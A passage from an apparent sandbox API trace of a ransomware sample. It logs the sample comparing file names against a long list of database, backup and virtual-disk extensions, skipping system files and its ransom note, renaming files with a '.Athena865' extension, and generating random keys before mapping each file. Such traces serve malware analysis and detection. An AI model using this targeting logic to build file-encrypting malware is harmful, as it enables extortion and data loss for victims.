3 [0099.897] lstrcmpiW (lpString1="nfo", lpString2="fcd") returned 1 [0099.897] lstrlenW (lpString="fdb") returned 3 [0099.897] lstrcmpiW (lpString1="nfo", lpString2="fdb") returned 1 [0099.897] lstrlenW (lpString="fic") returned 3 [0099.897] lstrcmpiW (lpString1="nfo", lpString2="fic") returned 1 [0099.897] lstrlenW (lpString="flexolibrary") returned 12 [0099.897] lstrcmpiW (lpString1="rPackageInfo", lpString2="flexolibrary") returned 1 [0099.897] lstrlenW (lpString="fm5") returned 3 [0099.897] lstrcmpiW (lpString1="nfo", lpString2="fm5") returned 1 [0099.897] lstrlenW (lpString="fmp") returned 3 [0099.897] lstrcmpiW (lpString1="nfo", lpString2="fmp") returned 1 [0099.897] lstrlenW (lpString="fmp12") returned 5 [0099.897] lstrcmpiW (lpString1="eInfo", lpString2="fmp12") returned -1 [0099.898] lstrlenW (lpString="fmpsl") returned 5 [0099.898] lstrcmpiW (lpString1="eInfo", lpString2="fmpsl") returned -1 [0099.898] lstrlenW (lpString="fol") returned 3 [0099.898] lstrcmpiW (lpString1="nfo", lpString2="fol") returned 1 [0099.898] lstrlenW (lpString="fp3") returned 3 [0099.898] lstrcmpiW (lpString1="nfo", lpString2="fp3") returned 1 [0099.898] lstrlenW (lpString="fp4") returned 3 [0099.898] lstrcmpiW (lpString1="nfo", lpString2="fp4") returned 1 [0099.898] lstrlenW (lpString="fp5") returned 3 [0099.898] lstrcmpiW (lpString1="nfo", lpString2="fp5") returned 1 [0099.898] lstrlenW (lpString="fp7") returned 3 [0099.898] lstrcmpiW (lpString1="nfo", lpString2="fp7") returned 1 [0099.898] lstrlenW (lpString="fpt") returned 3 [0099.898] lstrcmpiW (lpString1="nfo", lpString2="fpt") returned 1 [0099.898] lstrlenW (lpString="frm") returned 3 [0099.898] lstrcmpiW (lpString1="nfo", lpString2="frm") returned 1 [0099.898] lstrlenW (lpString="gdb") returned 3 [0099.898] lstrcmpiW (lpString1="nfo", lpString2="gdb") returned 1 [0099.898] lstrlenW (lpString="gdb") returned 3 [0099.898] lstrcmpiW (lpString1="nfo", lpString2="gdb") returned 1 [0099.898] lstrlenW (lpString="grdb") returned 4 [0099.898] lstrcmpiW (lpString1="Info", lpString2="grdb") returned 1 [0099.898] lstrlenW (lpString="gwi") returned 3 [0099.898] lstrcmpiW (lpString1="nfo", lpString2="gwi") returned 1 [0099.898] lstrlenW (lpString="hdb") returned 3 [0099.898] lstrcmpiW (lpString1="nfo", lpString2="hdb") returned 1 [0099.898] lstrlenW (lpString="his") returned 3 [0099.898] lstrcmpiW (lpString1="nfo", lpString2="his") returned 1 [0099.898] lstrlenW (lpString="ib") returned 2 [0099.898] lstrcmpiW (lpString1="fo", lpString2="ib") returned -1 [0099.898] lstrlenW (lpString="idb") returned 3 [0099.899] lstrcmpiW (lpString1="nfo", lpString2="idb") returned 1 [0099.899] lstrlenW (lpString="ihx") returned 3 [0099.899] lstrcmpiW (lpString1="nfo", lpString2="ihx") returned 1 [0099.899] lstrlenW (lpString="itdb") returned 4 [0099.899] lstrcmpiW (lpString1="Info", lpString2="itdb") returned -1 [0099.899] lstrlenW (lpString="itw") returned 3 [0099.899] lstrcmpiW (lpString1="nfo", lpString2="itw") returned 1 [0099.899] lstrlenW (lpString="jet") returned 3 [0099.899] lstrcmpiW (lpString1="nfo", lpString2="jet") returned 1 [0099.899] lstrlenW (lpString="jtx") returned 3 [0099.899] lstrcmpiW (lpString1="nfo", lpString2="jtx") returned 1 [0099.899] lstrlenW (lpString="kdb") returned 3 [0099.899] lstrcmpiW (lpString1="nfo", lpString2="kdb") returned 1 [0099.899] lstrlenW (lpString="kexi") returned 4 [0099.899] lstrcmpiW (lpString1="Info", lpString2="kexi") returned -1 [0099.899] lstrlenW (lpString="kexic") returned 5 [0099.899] lstrcmpiW (lpString1="eInfo", lpString2="kexic") returned -1 [0099.899] lstrlenW (lpString="kexis") returned 5 [0099.899] lstrcmpiW (lpString1="eInfo", lpString2="kexis") returned -1 [0099.899] lstrlenW (lpString="lgc") returned 3 [0099.899] lstrcmpiW (lpString1="nfo", lpString2="lgc") returned 1 [0099.899] lstrlenW (lpString="lwx") returned 3 [0099.899] lstrcmpiW (lpString1="nfo", lpString2="lwx") returned 1 [0099.899] lstrlenW (lpString="maf") returned 3 [0099.899] lstrcmpiW (lpString1="nfo", lpString2="maf") returned 1 [0099.899] lstrlenW (lpString="maq") returned 3 [0099.899] lstrcmpiW (lpString1="nfo", lpString2="maq") returned 1 [0099.899] lstrlenW (lpString="mar") returned 3 [0099.899] lstrcmpiW (lpString1="nfo", lpString2="mar") returned 1 [0099.899] lstrlenW (lpString="marshal") returned 7 [0099.900] lstrcmpiW (lpString1="ageInfo", lpString2="marshal") returned -1 [0099.900] lstrlenW (lpString="mas") returned 3 [0099.900] lstrcmpiW (lpString1="nfo", lpString2="mas") returned 1 [0099.900] lstrlenW (lpString="mav") returned 3 [0099.900] lstrcmpiW (lpString1="nfo", lpString2="mav") returned 1 [0099.900] lstrlenW (lpString="maw") returned 3 [0099.900] lstrcmpiW (lpString1="nfo", lpString2="maw") returned 1 [0099.900] lstrlenW (lpString="mdbhtml") returned 7 [0099.900] lstrcmpiW (lpString1="ageInfo", lpString2="mdbhtml") returned -1 [0099.900] lstrlenW (lpString="mdn") returned 3 [0099.900] lstrcmpiW (lpString1="nfo", lpString2="mdn") returned 1 [0099.900] lstrlenW (lpString="mdt") returned 3 [0099.900] lstrcmpiW (lpString1="nfo", lpString2="mdt") returned 1 [0099.900] lstrlenW (lpString="mfd") returned 3 [0099.900] lstrcmpiW (lpString1="nfo", lpString2="mfd") returned 1 [0099.900] lstrlenW (lpString="mpd") returned 3 [0099.900] lstrcmpiW (lpString1="nfo", lpString2="mpd") returned 1 [0099.900] lstrlenW (lpString="mrg") returned 3 [0099.900] lstrcmpiW (lpString1="nfo", lpString2="mrg") returned 1 [0099.900] lstrlenW (lpString="mud") returned 3 [0099.900] lstrcmpiW (lpString1="nfo", lpString2="mud") returned 1 [0099.900] lstrlenW (lpString="mwb") returned 3 [0099.900] lstrcmpiW (lpString1="nfo", lpString2="mwb") returned 1 [0099.900] lstrlenW (lpString="myd") returned 3 [0099.900] lstrcmpiW (lpString1="nfo", lpString2="myd") returned 1 [0099.900] lstrlenW (lpString="ndf") returned 3 [0099.900] lstrcmpiW (lpString1="nfo", lpString2="ndf") returned 1 [0099.900] lstrlenW (lpString="nnt") returned 3 [0099.900] lstrcmpiW (lpString1="nfo", lpString2="nnt") returned -1 [0099.901] lstrlenW (lpString="nrmlib") returned 6 [0099.901] lstrcmpiW (lpString1="geInfo", lpString2="nrmlib") returned -1 [0099.901] lstrlenW (lpString="ns2") returned 3 [0099.901] lstrcmpiW (lpString1="nfo", lpString2="ns2") returned -1 [0099.901] lstrlenW (lpString="ns3") returned 3 [0099.901] lstrcmpiW (lpString1="nfo", lpString2="ns3") returned -1 [0099.901] lstrlenW (lpString="ns4") returned 3 [0099.901] lstrcmpiW (lpString1="nfo", lpString2="ns4") returned -1 [0099.901] lstrlenW (lpString="nsf") returned 3 [0099.901] lstrcmpiW (lpString1="nfo", lpString2="nsf") returned -1 [0099.901] lstrlenW (lpString="nv") returned 2 [0099.901] lstrcmpiW (lpString1="fo", lpString2="nv") returned -1 [0099.901] lstrlenW (lpString="nv2") returned 3 [0099.901] lstrcmpiW (lpString1="nfo", lpString2="nv2") returned -1 [0099.901] lstrlenW (lpString="nwdb") returned 4 [0099.901] lstrcmpiW (lpString1="Info", lpString2="nwdb") returned -1 [0099.901] lstrlenW (lpString="nyf") returned 3 [0099.901] lstrcmpiW (lpString1="nfo", lpString2="nyf") returned -1 [0099.901] lstrlenW (lpString="odb") returned 3 [0099.901] lstrcmpiW (lpString1="nfo", lpString2="odb") returned -1 [0099.901] lstrlenW (lpString="odb") returned 3 [0099.901] lstrcmpiW (lpString1="nfo", lpString2="odb") returned -1 [0099.901] lstrlenW (lpString="oqy") returned 3 [0099.901] lstrcmpiW (lpString1="nfo", lpString2="oqy") returned -1 [0099.901] lstrlenW (lpString="ora") returned 3 [0099.901] lstrcmpiW (lpString1="nfo", lpString2="ora") returned -1 [0099.901] lstrlenW (lpString="orx") returned 3 [0099.901] lstrcmpiW (lpString1="nfo", lpString2="orx") returned -1 [0099.901] lstrlenW (lpString="owc") returned 3 [0099.901] lstrcmpiW (lpString1="nfo", lpString2="owc") returned -1 [0099.901] lstrlenW (lpString="p96") returned 3 [0099.902] lstrcmpiW (lpString1="nfo", lpString2="p96") returned -1 [0099.902] lstrlenW (lpString="p97") returned 3 [0099.902] lstrcmpiW (lpString1="nfo", lpString2="p97") returned -1 [0099.902] lstrlenW (lpString="pan") returned 3 [0099.902] lstrcmpiW (lpString1="nfo", lpString2="pan") returned -1 [0099.902] lstrlenW (lpString="pdb") returned 3 [0099.902] lstrcmpiW (lpString1="nfo", lpString2="pdb") returned -1 [0099.902] lstrlenW (lpString="pdm") returned 3 [0099.902] lstrcmpiW (lpString1="nfo", lpString2="pdm") returned -1 [0099.902] lstrlenW (lpString="pnz") returned 3 [0099.902] lstrcmpiW (lpString1="nfo", lpString2="pnz") returned -1 [0099.902] lstrlenW (lpString="qry") returned 3 [0099.902] lstrcmpiW (lpString1="nfo", lpString2="qry") returned -1 [0099.902] lstrlenW (lpString="qvd") returned 3 [0099.902] lstrcmpiW (lpString1="nfo", lpString2="qvd") returned -1 [0099.902] lstrlenW (lpString="rbf") returned 3 [0099.902] lstrcmpiW (lpString1="nfo", lpString2="rbf") returned -1 [0099.902] lstrlenW (lpString="rctd") returned 4 [0099.902] lstrcmpiW (lpString1="Info", lpString2="rctd") returned -1 [0099.902] lstrlenW (lpString="rod") returned 3 [0099.902] lstrcmpiW (lpString1="nfo", lpString2="rod") returned -1 [0099.902] lstrlenW (lpString="rodx") returned 4 [0099.902] lstrcmpiW (lpString1="Info", lpString2="rodx") returned -1 [0099.902] lstrlenW (lpString="rpd") returned 3 [0099.902] lstrcmpiW (lpString1="nfo", lpString2="rpd") returned -1 [0099.902] lstrlenW (lpString="rsd") returned 3 [0099.902] lstrcmpiW (lpString1="nfo", lpString2="rsd") returned -1 [0099.902] lstrlenW (lpString="sas7bdat") returned 8 [0099.902] lstrcmpiW (lpString1="kageInfo", lpString2="sas7bdat") returned -1 [0099.902] lstrlenW (lpString="sbf") returned 3 [0099.903] lstrcmpiW (lpString1="nfo", lpString2="sbf") returned -1 [0099.903] lstrlenW (lpString="scx") returned 3 [0099.903] lstrcmpiW (lpString1="nfo", lpString2="scx") returned -1 [0099.903] lstrlenW (lpString="sdb") returned 3 [0099.903] lstrcmpiW (lpString1="nfo", lpString2="sdb") returned -1 [0099.903] lstrlenW (lpString="sdc") returned 3 [0099.903] lstrcmpiW (lpString1="nfo", lpString2="sdc") returned -1 [0099.903] lstrlenW (lpString="sdf") returned 3 [0099.903] lstrcmpiW (lpString1="nfo", lpString2="sdf") returned -1 [0099.903] lstrlenW (lpString="sis") returned 3 [0099.903] lstrcmpiW (lpString1="nfo", lpString2="sis") returned -1 [0099.903] lstrlenW (lpString="spq") returned 3 [0099.903] lstrcmpiW (lpString1="nfo", lpString2="spq") returned -1 [0099.903] lstrlenW (lpString="te") returned 2 [0099.903] lstrcmpiW (lpString1="fo", lpString2="te") returned -1 [0099.903] lstrlenW (lpString="teacher") returned 7 [0099.903] lstrcmpiW (lpString1="ageInfo", lpString2="teacher") returned -1 [0099.903] lstrlenW (lpString="tmd") returned 3 [0099.903] lstrcmpiW (lpString1="nfo", lpString2="tmd") returned -1 [0099.903] lstrlenW (lpString="tps") returned 3 [0099.903] lstrcmpiW (lpString1="nfo", lpString2="tps") returned -1 [0099.903] lstrlenW (lpString="trc") returned 3 [0099.903] lstrcmpiW (lpString1="nfo", lpString2="trc") returned -1 [0099.903] lstrlenW (lpString="trc") returned 3 [0099.903] lstrcmpiW (lpString1="nfo", lpString2="trc") returned -1 [0099.903] lstrlenW (lpString="trm") returned 3 [0099.903] lstrcmpiW (lpString1="nfo", lpString2="trm") returned -1 [0099.903] lstrlenW (lpString="udb") returned 3 [0099.903] lstrcmpiW (lpString1="nfo", lpString2="udb") returned -1 [0099.903] lstrlenW (lpString="udl") returned 3 [0099.903] lstrcmpiW (lpString1="nfo", lpString2="udl") returned -1 [0099.904] lstrlenW (lpString="usr") returned 3 [0099.904] lstrcmpiW (lpString1="nfo", lpString2="usr") returned -1 [0099.904] lstrlenW (lpString="v12") returned 3 [0099.904] lstrcmpiW (lpString1="nfo", lpString2="v12") returned -1 [0099.904] lstrlenW (lpString="vis") returned 3 [0099.904] lstrcmpiW (lpString1="nfo", lpString2="vis") returned -1 [0099.904] lstrlenW (lpString="vpd") returned 3 [0099.904] lstrcmpiW (lpString1="nfo", lpString2="vpd") returned -1 [0099.904] lstrlenW (lpString="vvv") returned 3 [0099.904] lstrcmpiW (lpString1="nfo", lpString2="vvv") returned -1 [0099.904] lstrlenW (lpString="wdb") returned 3 [0099.904] lstrcmpiW (lpString1="nfo", lpString2="wdb") returned -1 [0099.904] lstrlenW (lpString="wmdb") returned 4 [0099.904] lstrcmpiW (lpString1="Info", lpString2="wmdb") returned -1 [0099.904] lstrlenW (lpString="wrk") returned 3 [0099.904] lstrcmpiW (lpString1="nfo", lpString2="wrk") returned -1 [0099.904] lstrlenW (lpString="xdb") returned 3 [0099.904] lstrcmpiW (lpString1="nfo", lpString2="xdb") returned -1 [0099.904] lstrlenW (lpString="xld") returned 3 [0099.904] lstrcmpiW (lpString1="nfo", lpString2="xld") returned -1 [0099.904] lstrlenW (lpString="xmlff") returned 5 [0099.904] lstrcmpiW (lpString1="eInfo", lpString2="xmlff") returned -1 [0099.905] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo.Athena865") returned 113 [0099.905] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{00c95144-e912-40b3-a2d1-b8e12bc815d0}_driverpackageinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{00c95144-e912-40b3-a2d1-b8e12bc815d0}_driverpackageinfo.athena865"), dwFlags=0x1) returned 1 [0099.906] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{00c95144-e912-40b3-a2d1-b8e12bc815d0}_driverpackageinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.906] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56376) returned 1 [0099.906] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.906] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.906] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.907] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.907] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.907] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.908] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf40, lpName=0x0) returned 0x154 [0099.909] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf40) returned 0x100000 [0099.912] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.913] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.913] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.914] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.914] CloseHandle (hObject=0x154) returned 1 [0099.914] CloseHandle (hObject=0x17c) returned 1 [0099.915] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.915] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.915] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.915] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf2a42f60, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0xf2a42f60, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0xf2bbfd20, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo", cAlternateFileName="{00C95~2")) returned 1 [0099.915] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.915] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.915] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo", lpString2=".") returned 1 [0099.915] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo", lpString2="..") returned 1 [0099.915] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo", lpString2="windows") returned -1 [0099.915] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo", lpString2="bootmgr") returned -1 [0099.915] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo", lpString2="temp") returned -1 [0099.915] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo", lpString2="pagefile.sys") returned -1 [0099.915] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo", lpString2="boot") returned -1 [0099.915] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo", lpString2="ids.txt") returned -1 [0099.915] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo", lpString2="ntuser.dat") returned -1 [0099.915] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo", lpString2="perflogs") returned -1 [0099.915] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo", lpString2="MSBuild") returned -1 [0099.916] lstrlenW (lpString="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo") returned 56 [0099.916] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo" | out: lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo") returned="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo" [0099.916] lstrlenW (lpString="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo") returned 56 [0099.916] lstrlenW (lpString="Athena865") returned 9 [0099.916] lstrcmpiW (lpString1="pdateInfo", lpString2="Athena865") returned 1 [0099.916] lstrlenW (lpString=".dll") returned 4 [0099.916] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo", lpString2=".dll") returned 1 [0099.916] lstrlenW (lpString=".lnk") returned 4 [0099.916] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo", lpString2=".lnk") returned 1 [0099.916] lstrlenW (lpString=".ini") returned 4 [0099.916] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo", lpString2=".ini") returned 1 [0099.916] lstrlenW (lpString=".sys") returned 4 [0099.916] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo", lpString2=".sys") returned 1 [0099.916] lstrlenW (lpString="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo") returned 56 [0099.916] lstrlenW (lpString="bak") returned 3 [0099.916] lstrcmpiW (lpString1="nfo", lpString2="bak") returned 1 [0099.916] lstrlenW (lpString="ba_") returned 3 [0099.916] lstrcmpiW (lpString1="nfo", lpString2="ba_") returned 1 [0099.916] lstrlenW (lpString="dbb") returned 3 [0099.916] lstrcmpiW (lpString1="nfo", lpString2="dbb") returned 1 [0099.916] lstrlenW (lpString="vmdk") returned 4 [0099.916] lstrcmpiW (lpString1="Info", lpString2="vmdk") returned -1 [0099.916] lstrlenW (lpString="rar") returned 3 [0099.916] lstrcmpiW (lpString1="nfo", lpString2="rar") returned -1 [0099.916] lstrlenW (lpString="zip") returned 3 [0099.916] lstrcmpiW (lpString1="nfo", lpString2="zip") returned -1 [0099.916] lstrlenW (lpString="tgz") returned 3 [0099.916] lstrcmpiW (lpString1="nfo", lpString2="tgz") returned -1 [0099.916] lstrlenW (lpString="vbox") returned 4 [0099.916] lstrcmpiW (lpString1="Info", lpString2="vbox") returned -1 [0099.917] lstrlenW (lpString="vdi") returned 3 [0099.917] lstrcmpiW (lpString1="nfo", lpString2="vdi") returned -1 [0099.917] lstrlenW (lpString="vhd") returned 3 [0099.917] lstrcmpiW (lpString1="nfo", lpString2="vhd") returned -1 [0099.917] lstrlenW (lpString="vhdx") returned 4 [0099.917] lstrcmpiW (lpString1="Info", lpString2="vhdx") returned -1 [0099.917] lstrlenW (lpString="avhd") returned 4 [0099.917] lstrcmpiW (lpString1="Info", lpString2="avhd") returned 1 [0099.917] lstrlenW (lpString="db") returned 2 [0099.917] lstrcmpiW (lpString1="fo", lpString2="db") returned 1 [0099.917] lstrlenW (lpString="db2") returned 3 [0099.917] lstrcmpiW (lpString1="nfo", lpString2="db2") returned 1 [0099.917] lstrlenW (lpString="db3") returned 3 [0099.917] lstrcmpiW (lpString1="nfo", lpString2="db3") returned 1 [0099.917] lstrlenW (lpString="dbf") returned 3 [0099.917] lstrcmpiW (lpString1="nfo", lpString2="dbf") returned 1 [0099.917] lstrlenW (lpString="mdf") returned 3 [0099.917] lstrcmpiW (lpString1="nfo", lpString2="mdf") returned 1 [0099.917] lstrlenW (lpString="mdb") returned 3 [0099.917] lstrcmpiW (lpString1="nfo", lpString2="mdb") returned 1 [0099.917] lstrlenW (lpString="sql") returned 3 [0099.917] lstrcmpiW (lpString1="nfo", lpString2="sql") returned -1 [0099.917] lstrlenW (lpString="sqlite") returned 6 [0099.917] lstrcmpiW (lpString1="teInfo", lpString2="sqlite") returned 1 [0099.917] lstrlenW (lpString="sqlite3") returned 7 [0099.917] lstrcmpiW (lpString1="ateInfo", lpString2="sqlite3") returned -1 [0099.917] lstrlenW (lpString="sqlitedb") returned 8 [0099.917] lstrcmpiW (lpString1="dateInfo", lpString2="sqlitedb") returned -1 [0099.917] lstrlenW (lpString="xml") returned 3 [0099.917] lstrcmpiW (lpString1="nfo", lpString2="xml") returned -1 [0099.917] lstrlenW (lpString="$er") returned 3 [0099.918] lstrcmpiW (lpString1="nfo", lpString2="$er") returned 1 [0099.918] lstrlenW (lpString="4dd") returned 3 [0099.918] lstrcmpiW (lpString1="nfo", lpString2="4dd") returned 1 [0099.918] lstrlenW (lpString="4dl") returned 3 [0099.918] lstrcmpiW (lpString1="nfo", lpString2="4dl") returned 1 [0099.918] lstrlenW (lpString="^^^") returned 3 [0099.918] lstrcmpiW (lpString1="nfo", lpString2="^^^") returned 1 [0099.918] lstrlenW (lpString="abs") returned 3 [0099.918] lstrcmpiW (lpString1="nfo", lpString2="abs") returned 1 [0099.918] lstrlenW (lpString="abx") returned 3 [0099.918] lstrcmpiW (lpString1="nfo", lpString2="abx") returned 1 [0099.918] lstrlenW (lpString="accdb") returned 5 [0099.918] lstrcmpiW (lpString1="eInfo", lpString2="accdb") returned 1 [0099.918] lstrlenW (lpString="accdc") returned 5 [0099.918] lstrcmpiW (lpString1="eInfo", lpString2="accdc") returned 1 [0099.918] lstrlenW (lpString="accde") returned 5 [0099.918] lstrcmpiW (lpString1="eInfo", lpString2="accde") returned 1 [0099.918] lstrlenW (lpString="accdr") returned 5 [0099.918] lstrcmpiW (lpString1="eInfo", lpString2="accdr") returned 1 [0099.918] lstrlenW (lpString="accdt") returned 5 [0099.918] lstrcmpiW (lpString1="eInfo", lpString2="accdt") returned 1 [0099.918] lstrlenW (lpString="accdw") returned 5 [0099.918] lstrcmpiW (lpString1="eInfo", lpString2="accdw") returned 1 [0099.918] lstrlenW (lpString="accft") returned 5 [0099.918] lstrcmpiW (lpString1="eInfo", lpString2="accft") returned 1 [0099.918] lstrlenW (lpString="adb") returned 3 [0099.918] lstrcmpiW (lpString1="nfo", lpString2="adb") returned 1 [0099.918] lstrlenW (lpString="adb") returned 3 [0099.918] lstrcmpiW (lpString1="nfo", lpString2="adb") returned 1 [0099.919] lstrlenW (lpString="ade") returned 3 [0099.919] lstrcmpiW (lpString1="nfo", lpString2="ade") returned 1 [0099.919] lstrlenW (lpString="adf") returned 3 [0099.919] lstrcmpiW (lpString1="nfo", lpString2="adf") returned 1 [0099.919] lstrlenW (lpString="adn") returned 3 [0099.919] lstrcmpiW (lpString1="nfo", lpString2="adn") returned 1 [0099.919] lstrlenW (lpString="adp") returned 3 [0099.919] lstrcmpiW (lpString1="nfo", lpString2="adp") returned 1 [0099.919] lstrlenW (lpString="alf") returned 3 [0099.919] lstrcmpiW (lpString1="nfo", lpString2="alf") returned 1 [0099.919] lstrlenW (lpString="ask") returned 3 [0099.919] lstrcmpiW (lpString1="nfo", lpString2="ask") returned 1 [0099.919] lstrlenW (lpString="btr") returned 3 [0099.919] lstrcmpiW (lpString1="nfo", lpString2="btr") returned 1 [0099.919] lstrlenW (lpString="cat") returned 3 [0099.919] lstrcmpiW (lpString1="nfo", lpString2="cat") returned 1 [0099.919] lstrlenW (lpString="cdb") returned 3 [0099.919] lstrcmpiW (lpString1="nfo", lpString2="cdb") returned 1 [0099.919] lstrlenW (lpString="ckp") returned 3 [0099.919] lstrcmpiW (lpString1="nfo", lpString2="ckp") returned 1 [0099.919] lstrlenW (lpString="cma") returned 3 [0099.919] lstrcmpiW (lpString1="nfo", lpString2="cma") returned 1 [0099.919] lstrlenW (lpString="cpd") returned 3 [0099.919] lstrcmpiW (lpString1="nfo", lpString2="cpd") returned 1 [0099.919] lstrlenW (lpString="dacpac") returned 6 [0099.919] lstrcmpiW (lpString1="teInfo", lpString2="dacpac") returned 1 [0099.919] lstrlenW (lpString="dad") returned 3 [0099.919] lstrcmpiW (lpString1="nfo", lpString2="dad") returned 1 [0099.919] lstrlenW (lpString="dadiagrams") returned 10 [0099.919] lstrcmpiW (lpString1="UpdateInfo", lpString2="dadiagrams") returned 1 [0099.920] lstrlenW (lpString="daschema") returned 8 [0099.920] lstrcmpiW (lpString1="dateInfo", 